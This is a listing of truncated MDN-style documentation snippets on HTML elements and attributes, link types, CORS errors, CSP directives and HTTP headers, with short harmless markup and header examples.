xamples images <!-- just an image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>navigator</code>.</figcaption> <pre> function navigatorexample() { var txt; txt = "browser codename: " + navigator.appcodename + "; "; txt+= "browser name: " + navigator.appname + "; "; txt+= "browser version: " + navigator.appversion + "; "; txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "...
<font> - HTML: Hypertext Markup Language
Web › HTML › Element › font
perties. attributes like all other html elements, this element supports the global attributes. color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. face this attribute contains a comma-separated list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. size this attribute specifies the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. it can be defined using a relative value, like +2 or -3, which set it relative to th...
<frame> - HTML: Hypertext Markup Language
Web › HTML › Element › frame
nt that will be displayed by the frame. name this attribute is used for labeling frames. without labeling, every link will open in the frame that it’s in – the closest parent frame. see the target attribute for more information. noresize this attribute prevents resizing of frames by users. scrolling this attribute defines the existence of a scrollbar. if this attribute is not used, the browser adds a scrollbar when necessary. there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary. marginheight this attribute defines the height of the margin between frames. marginwidth this attribute defines the width of the margin between frames. frameborder this attribute allows you to specify a frame’s b...
<frameset> - HTML: Hypertext Markup Language
Web › HTML › Element › frameset
the html <frameset> element is used to contain <frame> elements. note: because the use of frames is now discouraged in favor of using <iframe>, this element is not typically used by modern web sites. attributes like all other html elements, this element supports the global attributes. cols this attribute specifies the number and size of horizontal spaces in a frameset. rows this attribute specifies the number and size of vertical spaces in a frameset. example <frameset cols="50%,50%"> <frame src="https://udn.realityripple.com/docs/web/html/element/frameset" /> <frame src="https://udn.realityripple.com/docs/web/html/element/frame" /> </frameset> ...
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
Web › HTML › Element › head
cit aria role no corresponding role permitted aria roles no role permitted dom interface htmlheadelement attributes this element includes the global attributes. profile the uris of one or more metadata profiles, separated by white space. example <!doctype html> <html> <head> <title>document title</title> </head> </html> notes html5-compliant browsers automatically create a <head> element if its tags are omitted in the markup. this auto-creation is not guaranteed in ancient browsers. specifications specification status comment html living standardthe definition of '<head>' in that specification. living standard no change from latest shapshot html5the definition of '<head>' in that specification. ...
<hgroup> - HTML: Hypertext Markup Language
Web › HTML › Element › hgroup
nt that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes the <hgroup> element has been removed from the html5 (w3c) specification, but it still is in the whatwg version of html. it is partially implemented in most browsers, though, so is unlikely to go away. however, given that a key purpose of the <hgroup> element is to affect how headings are displayed by the outline algorithm defined in the html specification—but the html outline algorithm is not implemented in any browsers—then the <hgroup> semantics are in practice only theoretical. so the html5 (w3c) specification provides advice on how to mark up su...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
Web › HTML › Element › hr
, or a shift of topic within a section. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. historically, this has been presented as a horizontal rule or line. while it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css. content categories flow content. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. permitted parents any element that ...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
Web › HTML › Element › i
"they searched the docks for the empress of the galaxy, the ship to which they were assigned.") in earlier versions of the html specification, the <i> element was merely a presentational element used to display text in italics, much like the <b> element was used to display text in bold letters. this is no longer true, as these tags now define semantics rather than typographic appearance. a browser will typically still display the contents of the <i> element in italic type, but is, by definition, no longer required to do so. to display text in italic type, authors should use the css font-style property. be sure the text in question is not actually more appropriately marked up with another element. use <em> to indicate stress emphasis. use <strong> to indicate importance, serious...
<image>: The obsolete Image element - HTML: Hypertext Markup Language
Web › HTML › Element › image
the obsolete html image element (<image>) is an obsolete remnant of an ancient version of html lost in the mists of time; use the standard <img> element instead. seriously, the specification even literally uses the words "don't ask" when describing this element. do not use this! in order to display images, use the standard <img> element. while some browsers will attempt to automatically convert this into an <img> element, they won't always do so, and won't always succeed when they try, due to various ways in which the options can be interpreted. so just don't use it if you like your users. specifications this might have once been part of a specification, but nobody seems to remember. it certainly isn't anymore. just avoid it like the plague. ...
<input type="datetime"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › datetime
the html <input type="datetime"> was a control for entering a date and time (hour, minute, second, and fraction of a second) as well as a timezone. this feature has been removed from whatwg html, and is no longer supported in browsers. instead, browsers are implementing (and developers are encouraged to use) <input type="datetime-local">. the format of the date and time value used by this input type is described in format of a valid global date and time string in date and time formats used in html. ...
<input type="reset"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › reset
like so: try entering some text into the text field, and then pressing the reset button. adding a reset keyboard shortcut to add a keyboard shortcut to a submit button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute. in this example, r is specified as the access key (you'll need to press r plus the particular modifier keys for your browser/os combination; see accesskey for a useful list of those). <form> <div> <label for="example">type in some sample text</label> <input id="example" type="text"> </div> <div> <input type="reset" value="reset the form" accesskey="r"> </div> </form> the problem with the above example is that there's no way for the user to know what the access key is! this is especially t...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
Web › HTML › Element › kbd
er by the system. see echoed input, below, for an example. nesting a <samp> element inside a <kbd> element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. see the example under representing onscreen input options below. you can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your css. examples basic example <p>use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kb...
theme-color - HTML: Hypertext Markup Language
Web › HTML › Element › meta › name › theme-color
ser agents should use to customize the display of the page or of the surrounding user interface. if specified, the content attribute must contain a valid css <color>. example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device. image credit: from icons & browser colors, created and shared by google and used according to terms described in the creative commons 4.0 attribution license. specifications specification html living standardthe definition of 'theme-color' in that specification. ...
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
Web › HTML › Element › meter
mum value. optimum this attribute indicates the optimal numeric value. it must be within the range (as defined by the min attribute and max attribute). when used with the low attribute and high attribute, it gives an indication where along the range is considered preferable. for example, if it is between the min attribute and the low attribute, then the lower range is considered preferred. the browser may color the meter's bar differently depending on whether the value is less than or equal to the optimum value. form the <form> element to associate the <meter> element with (its form owner). the value of this attribute must be the id of a <form> in the same document. if this attribute is not set, the <button> is associated with its ancestor <form> element, if any. this attribute is only use...
<multicol>: The HTML Multi-Column Layout element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › multicol
the html multi-column layout element (<multicol>) was an experimental element designed to allow multi-column layouts and must not be used. it never got any significant traction and is not implemented in any major browsers. it's covered here only to warn you off in case you stumble on it in any other documentation. do not use this! in order to implement a multi-column layout, you should be using the regular html elements, like <div> in conjunction with css columns. specifications none. ...
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › noembed
the <noembed> element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use. this element was deprecated in html 4.01 and above in favor of placing fallback content between the opening and closing tags of an <object> element. while this element currently still works in many browsers, it is obsolete and should not be used. use <object> instead, with fallback content between the opening and closing tags of the element. examples the message inside <noembed> tag will appear only when your browser does not support <embed> tag. show an alternative content <embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="20...
<noscript> - HTML: Hypertext Markup Language
Web › HTML › Element › noscript
content categories metadata content, flow content, phrasing content. permitted content when scripting is disabled and when it is a descendant of the <head> element: in any order, zero or more <link> elements, zero or more <style> elements, and zero or more <meta> elements. when scripting is disabled and when it isn't a descendant of the <head> element: any transparent content, but no <noscript> element must be among its descendants. ...
<optgroup> - HTML: Hypertext Markup Language
Web › HTML › Element › optgroup
permitted parents a <select> element. implicit aria role group permitted aria roles no role permitted dom interface htmloptgroupelement note: optgroup elements may not be nested. attributes this element includes the global attributes. disabled if this boolean attribute is set, none of the items in this option group is selectable. often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones. label the name of the group of options, which the browser can use when labeling the options in the user interface. this attribute is mandatory if this element is used. examples <select> <optgroup label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group ...
<option>: The HTML Option element - HTML: Hypertext Markup Language
Web › HTML › Element › option
e parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement attributes this element includes the global attributes. disabled if this boolean attribute is set, this option is not checkable. often browsers grey out such control and it won't receive any browsing event, like mouse clicks or focus-related ones. if this attribute is not set, the element can still be disabled if one of its ancestors is a disabled <optgroup> element. label this attribute is text for the label indicating the meaning of the option. if the label attribute isn't defined, its value is that of the element text content. s...
<output>: The Output element - HTML: Hypertext Markup Language
Web › HTML › Element › output
two numbers are added together, and the result is displayed in the <output> element each time the value of any of the controls changes. <form oninput="result.value=parseint(a.value)+parseint(b.value)"> <input type="range" id="b" name="b" value="50" /> + <input type="number" id="a" name="a" value="10" /> = <output name="result" for="a b">60</output> </form> accessibility concerns many browsers implement this element as an aria-live region. assistive technology will thereby announce the results of ui interactions posted inside it without requiring that focus is switched away from the controls that produce those results. specifications specification status comment html living standardthe definition of '<output>' in that specification. living standard ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
Web › HTML › Element › p
<p> tags is obsolete and shouldn't be used. example html <p>this is the first paragraph of text. this is the first paragraph of text. this is the first paragraph of text. this is the first paragraph of text.</p> <p>this is the second paragraph. this is the second paragraph. this is the second paragraph. this is the second paragraph.</p> result styling paragraphs by default, browsers separate paragraphs with a single blank line. alternate separation methods, such as first-line indentation, can be achieved with css: html <p>separating paragraphs with blank lines is easiest for readers to scan, but they can also be separated by indenting their first lines. this is often used to take up less space, such as to save paper in print.</p> <p>writing that is intended to be edite...
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
Web › HTML › Element › rt
responding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. examples this simple example provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definition of '<rt>' in that specification. living standard html5the definition of '<rt>' in that specification. recommendation ...
<spacer> - HTML: Hypertext Markup Language
Web › HTML › Element › spacer
<spacer> is an obsolete html element which allowed insertion of empty spaces on pages. it was devised by netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image. however, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple css. firefox, which is the descendant of netscape's browsers, removed support for <spacer> in version 4. attributes like all other html elements, this element supports the global attributes. type this attribute determines type of spacer. possible values are horizontal, vertical and block. size this attribute can be used for defining size of spacer in pixels when type is horizont...
<strike> - HTML: Hypertext Markup Language
Web › HTML › Element › strike
try to avoid using it. the html <strike> element (or html strikethrough element) places a strikethrough (horizontal line) over text. usage note: this element is deprecated in html 4 and xhtml 1, and obsoleted in html5. if semantically appropriate, i.e., if it represents deleted content, use <del> instead. in all other cases use <s>. dom interface htmlelement attributes this element includes the global attributes. ...
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
Web › HTML › Element › summary
as the label for the disclosure box. default style per the html specification, the default style for <summary> elements includes display: list-item. this makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle. you can also change the style to display: block to remove the disclosure triangle. see the browser compatibility section for details, as not all browsers support full functionality of this element yet. examples below are some examples showing <summary> in use. you can find more examples in the documentation for the <details> element. basic example a simple example showing the use of <summary> in a <details> element: <details open> <summary>overview</summary> <ol> <li>cash on han...
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
Web › HTML › Element › td
colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 will be considered as incorrect and will be set to the default value (1). headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element. rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are clipped down to 65534. deprecated attributes abbr this attribute contains a...
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
Web › HTML › Element › tfoot
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if there is no more content in the parent <table> element. permitted parents a <table> element. the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. ...
<th> - HTML: Hypertext Markup Language
Web › HTML › Element › th
f. colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 will be considered as incorrect and will be set to the default value (1). headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element. rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are clipped down to 65534. scope this enumerated attribute defines the cells that the...
<thead>: The Table Head element - HTML: Hypertext Markup Language
Web › HTML › Element › thead
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if the <thead> element is immediately followed by a <tbody> or <tfoot> element. permitted parents a <table> element. ...
<wbr> - HTML: Hypertext Markup Language
Web › HTML › Element › wbr
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content empty tag omission it is an empty element; it must have a start tag, but must not have an end tag. ...
contenteditable - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the attribute must take one of the following values: true or an empty string, which indicates that the element is editable. false, which indicates that the element is not editable. ...
contextmenu - HTML: Hypertext Markup Language
a context menu is a menu that appears upon user interaction, such as a right-click. html5 now allows us to customize this menu. here are some implementation examples, including nested menus. ...
dir - HTML: Hypertext Markup Language
overridden by the css properties direction and unicode-bidi, if a css page is active and the element supports these properties. as the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related css properties when possible. that way, the text will display correctly even on a browser that doesn't support css or has the css deactivated. the auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring content. chrome and safari provide a directionality option in the contextual ...
draggable - HTML: Hypertext Markup Language
the draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser behavior or the html drag and drop api. draggable can have the following values: true: the element can be dragged. false: the element cannot be dragged. this attribute is enumerated and not boolean. a value of true or false is mandatory, and shorthand like <img draggable> is forbidden. the correct usage is <img draggable="false">. if this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. specifications speci...
hidden - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
id - HTML: Hypertext Markup Language
thub.com/mdn/interactive-examples and send us a pull request. this attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). browsers treat non-conforming ids that contain whitespace as if the whitespace is part of the id. in contrast to the class attribute, which allows space-separated values, elements can only have one single id value. note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4. though this restriction has been lifted in html5,...
translate - HTML: Hypertext Markup Language
o specify whether an element's translateable attribute values and its text node children should be translated when the page is localized, or whether to leave them unchanged. it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized. "no", which indicates that the element must not be translated. although not all browsers recognize this attribute, it is respected by automatic translation systems such as google translate, and may also be respected by tools used by human translators. as such it's important that web authors use this attribute to mark content that should not be translated. examples in this example, the translate attribute is used to ask translation tools not to translate the company's brand name ...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
...
Inline elements - HTML: Hypertext Markup Language
see the difference? the <p> element totally changes the layout of the text, splitting it into three segments: the text before the <p>, then the <p>'s text, and finally the text following the <p>. changing element levels you can change the visual presentation of an element using the css display property. for example, by changing the value of display from "inline" to "block", you can tell the browser to render the inline element in a block box rather than an inline box, and vice versa. however, doing this will not change the category and the content model of the element. for example, even if the display of the span element is changed to "block", it still would not allow to nest a div element inside it. conceptual differences in brief, here are the basic conceptual differences between inli...
Link types: noopener - HTML: Hypertext Markup Language
this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well). ...
Link types: noreferrer - HTML: Hypertext Markup Language
the noreferrer keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser, when navigating to the target resource, to omit the referer header and otherwise leak no referrer information — and additionally to behave as if the noopener keyword were also specified. specifications specification status comment html living standardthe definition of 'noreferrer' in that specification. living standard ...
Link types: preconnect - HTML: Hypertext Markup Language
the preconnect keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. specifications specification status comment html living standardthe definition of 'preconnect' in that specification. living standard ...
Link types: prefetch - HTML: Hypertext Markup Language
the prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. specifications specification status comment html living standardthe definition of 'prefetch' in that specification. living standard ...
Link types: preload - HTML: Hypertext Markup Language
the preload keyword for the rel attribute of the <link> element indicates the user is highly likely to require the target resource for the current navigation, and therefore the browser must preemptively fetch and cache the resource. see preloading content with rel="preload" for more details. specifications specification status comment html living standardthe definition of 'preload' in that specification. living standard ...
Link types: prerender - HTML: Hypertext Markup Language
the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen. specifications specification status comment html living standardthe definition of 'prerender' in that specification. living standard ...
Microdata - HTML: Hypertext Markup Language
search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users. ...
Common MIME types - HTTP
a list of mime types, associated by type of documents, ordered by their common extensions. two primary mime types are important for the role of default types: text/plain is the default value for textual files. a textual file should be human-readable and must not contain binary data. application/octet-stream is the default value for all other cases. an unknown file type should use this type. browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous behaviors. iana is the official registry of mime media types and maintains a list of all the official mime types. this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abi...
Reason: CORS request did not succeed - HTTP
an ad blocker or privacy protector) blocking the request. ...
Reason: CORS disabled - HTTP
Web › HTTP › CORS › Errors › CORSDisabled
reason reason: cors disabled what went wrong? a request that needs to use cors was attempted, but cors is disabled in the user's browser. when this happens, the user needs to turn cors back on in their browser. in firefox, the preference that disables cors is content.cors.disable. setting this to true disables cors, so whenever that's the case, cors requests will always fail with this error. ...
Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed - HTTP
reason reason: multiple cors header ‘access-control-allow-origin’ not allowed what went wrong? more than one access-control-allow-origin header was sent by the server. this isn't allowed. if you have access to the server you can change your implementation to echo back an origin in the access-control-allow-origin header. you cannot send back a list of origins, because browsers only accept a value that is either a single origin or null ...
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). this header is a hint to be used when the server has no way of determining the language via another way, like a specific url, that is controlled by an explicit user decision. it is recommended that the server never ...
Accept - HTTP
Web › HTTP › Headers › Accept
the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del). syntax accept: <mime...
Access-Control-Request-Headers - HTTP
header type request header forbidden header name yes syntax access-control-request-headers: <header-name>, <header-name>, ... directives <header-name> a comma-delimited list of http headers that are included in the request. ...
Access-Control-Request-Method - HTTP
this header is necessary as the preflight request is always an options and doesn't use the same method as the actual request. header type request header forbidden header name yes syntax access-control-request-method: <method> directives <method> one of the http request methods, for example get, post, or delete. ...
Content-Encoding - HTTP
ommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes. compress a format using the lempel-ziv-welch (lzw) algorithm. the value name was taken from the unix compress program, which implemented this algorithm. like the compress program, which has disappeared from most unix distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003). deflate using the zlib structure (defined in rfc 1950) with the deflate compression algorithm (defined in rfc 1951). identity indicates the identity function (i.e., no compression or modification). this token, except if explicitly specified, is always deemed acceptable. br a format using the brotli algorithm. examples compr...
CSP: block-all-mixed-content - HTTP
content resource requests are blocked, including both active and passive mixed content. this also applies to <iframe> documents, ensuring the entire page is mixed content-free. the upgrade-insecure-requests directive is evaluated before block-all-mixed-content. if the former is set, the latter does nothing, so set one directive or the other – not both, unless you want to force https on older browsers that do not force it after a redirect to http. syntax content-security-policy: block-all-mixed-content; examples content-security-policy: block-all-mixed-content; <meta http-equiv="content-security-policy" content="block-all-mixed-content"> to disallow http assets on a more granular level, you can also set individual directives to https:. for example, to disallow nonsecure http images: ...
CSP: referrer - HTTP
use the referrer-policy header instead. syntax content-security-policy: referrer <referrer-policy>; where <referrer-policy> can be one of the following values: "no-referrer" the referer header will be omitted entirely. no referrer information is sent along with requests. ...
CSP: report-uri - HTTP
the deprecated http content-security-policy (csp) report-uri directive instructs the user agent to report attempts to violate the content security policy. these violation reports consist of json documents sent via an http post request to the specified uri. though the report-to directive is intended to replace the deprecated report-uri directive, report-to isn’t supported in most browsers yet. so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored. the directive has no effect in and of itself, but only gains meaning ...
CSP: sandbox - HTTP
d as being from a unique origin. allow-scripts allows the page to run scripts (but not create pop-up windows). if this keyword is not used, this operation is not allowed. allow-storage-access-by-user-activation lets the resource request access to the parent's storage capabilities with the storage access api. allow-top-navigation allows the page to navigate (load) content to the top-level browsing context. if this keyword is not used, this operation is not allowed. allow-top-navigation-by-user-activation lets the resource navigate the top-level browsing context, but only if initiated by a user gesture. examples content-security-policy: sandbox allow-scripts; specifications specification status comment content security policy level 3the definition of 'sandb...
CSP: upgrade-insecure-requests - HTTP
replaced with secure urls (those served over https). this directive is intended for web sites with large numbers of insecure legacy urls that need to be rewritten. the upgrade-insecure-requests directive is evaluated before block-all-mixed-content and if it is set, the latter is effectively a no-op. it is recommended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http. the upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to https for the top-level navigation and thus does not replace the strict-transport-security (hsts) header, which should still be set with an appropriate max-age to ensure that users are not subject to ssl strippi...
Content-Type - HTTP
in requests, (such as post or put), the client tells the server what type of data is actually sent. ...
Cookie - HTTP
Web › HTTP › Headers › Cookie
header type request header forbidden header name yes syntax cookie: <cookie-list> cookie: name=value cookie: name=value; name2=value2; name3=value3 <cookie-list> a list of name-value pairs in the form of <cookie-name>=<cookie-value>. pairs in the list are separated by a semicolon and a space ('; '). ...
Cross-Origin-Resource-Policy - HTTP
can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs. due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs) from being downloaded in some circumstances. exercise caution using this header in a production environment. the http cross-origin-resource-policy response header conveys a desire that the browser blocks no-cors cross-origin/cross-site requests to the given resource. header type response header forbidden header name no syntax cross-origin-resource-policy: same-site | same-origin | cross-origin examples the response header below will cause compatible user agents to disallow cross-origin no-cors requests: cross-origin-resource-policy: same-origin for ...
Early-Data - HTTP
the early-data header is set by an intermediary to indicate that the request has been conveyed in tls early data, and also indicates that the intermediary understands the 425 (too early) status code. the early-data header is not set by the originator of the request (i.e., a browser). header type request header forbidden header name no syntax early-data: 1 examples get /resource http/1.0 host: example.com early-data: 1 specifications specification title rfc 8470, section 5.1: the early-data header field using early data in http ...
Expect - HTTP
Web › HTTP › Headers › Expect
he only expectation defined in the specification is expect: 100-continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise. for example, the server may reject a request if its content-length is too large. no common browsers send the expect header, but some other clients such as curl do so by default. header type request header forbidden header name yes syntax no other expectations except "100-continue" are specified currently. expect: 100-continue directives 100-continue informs recipients that the client is about to send a (presumably large) message body in this request an...
Referer - HTTP
Web › HTTP › Headers › Referer
or optimized caching, for example. important: although this header has many innocent uses it can have undesirable consequences for user security and privacy. see referer header: privacy and security concerns for more information and mitigations. note that referer is actually a misspelling of the word "referrer". see http referer on wikipedia for more details. a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri. an unsecured http request is used and the referring page was received with a secure protocol (https). header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the previous web page from which a link to the currently request...
Sec-Fetch-Site - HTTP
examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
Server - HTTP
Web › HTTP › Headers › Server
ame no syntax server: <product> directives <product> the name of the software or product that handled the request. usually in a format similar to user-agent. how much detail to include is an interesting balance to strike; exposing the os version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. however, exposed apache versions helped browsers work around a bug those versions had with content-encoding combined with range. examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypertext transfer protocol (http/1.1): semantics and content ...
SourceMap - HTTP
header type response header forbidden header name no syntax sourcemap: <url> x-sourcemap: <url> (deprecated) directives <url> a relative (to the request url) or absolute url pointing to a source map file. ...
Transfer-Encoding - HTTP
ts length is zero. it is followed by the trailer, which consists of a (possibly empty) sequence of entity header fields. compress a format using the lempel-ziv-welch (lzw) algorithm. the value name was taken from the unix compress program, which implemented this algorithm. like the compress program, which has disappeared from most unix distributions, this content-encoding is used by almost no browsers today, partly because of a patent issue (which expired in 2003). deflate using the zlib structure (defined in rfc 1950), with the deflate compression algorithm (defined in rfc 1951). gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc. this is originally the format of the unix gzip program. the http/1.1 standard also recommends that the servers supporting this content-encod...
X-Content-Type-Options - HTTP
the content-type headers should not be changed and be followed. this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. this header was introduced by microsoft in ie 8 as a way for webmasters to block content sniffing that was happening and could transform non-executable mime types into executable mime types. since then, other browsers have introduced it, even if their mime sniffing algorithms were less aggressive. starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a content-type is provided. this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html. make sure to set both headers correctly. site securi...
Protocol upgrade mechanism - HTTP
fter creating the initial http/1.1 session, you need to request the upgrade by adding to a standard request the upgrade and connection headers, as follows: connection: upgrade upgrade: websocket websocket-specific headers the following headers are involved in the websocket upgrade process. other than the upgrade and connection headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other. sec-websocket-extensions specifies one or more protocol-level websocket extensions to ask the server to use. using more than one sec-websocket-extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header. sec-websocket-extensions: extensions extensions a comma-separated...
A typical HTTP session - HTTP
Web › HTTP › Session
s not allow the server to send data to the client without an explicit request for it. to work around this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols. sending a client request once the connection is established, the user-agent can send the request (a user-agent is typically a web browser, but can be anything else, a crawler, for example). a client request consists of text directives, separated by crlf (carriage return, followed by line feed), divided into three blocks: the first line contains a request method followed by its parameters: the path of the document, i.e. an absolute url without the protocol or domain name the http protocol version subsequent lines...
103 Early Hints - HTTP
Web › HTTP › Status › 103
